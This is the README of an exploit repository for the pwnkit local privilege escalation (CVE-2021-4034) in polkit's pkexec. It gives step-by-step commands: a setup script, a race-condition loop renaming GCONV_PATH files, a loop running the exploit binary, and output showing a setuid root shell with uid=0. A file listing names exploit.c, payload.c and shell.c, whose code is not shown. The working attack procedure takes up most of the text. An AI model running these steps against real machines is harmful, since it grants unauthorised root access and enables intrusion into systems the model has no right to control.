Exploit for CVE-2021-4034# CVE-2021-4034
Exploit for the [pwnkit vulnerability](https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt)
from the Qualys team.
This exploit assumes that `gcc` is present on the target machine.
```
$ id
uid=1001(ayrx) gid=1002(ayrx) groups=1002(ayrx),27(sudo)
$ ./setup.sh
```
Run the following command in one bash session:
```
while :; do mv "GCONV_PATH=./value" "GCONV_PATH=./value.bak"; mv "GCONV_PATH=./value.bak" "GCONV_PATH=./value"; done
```
Run the following command in another bash session:
```
while :; do ./exploit; done
```
You will eventually win the race and obtain a `shell` binary that gives you
root access:
```
$ ls -lah shell
-rwsrwxrwx 1 root ayrx 16K Jan 26 08:57 shell
$ ./shell
# id
uid=0(root) gid=1002(ayrx) groups=1002(ayrx),27(sudo)
```
A short write up on the technique can be found on my [blog](https://www.ayrx.me/pwnkit-no-logs/).
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├── [ 268] exploit.c
├── [ 36] gconv-modules
├── [ 290] payload.c
├── [ 880] README.md
├── [ 238] setup.sh
└── [ 205] shell.c
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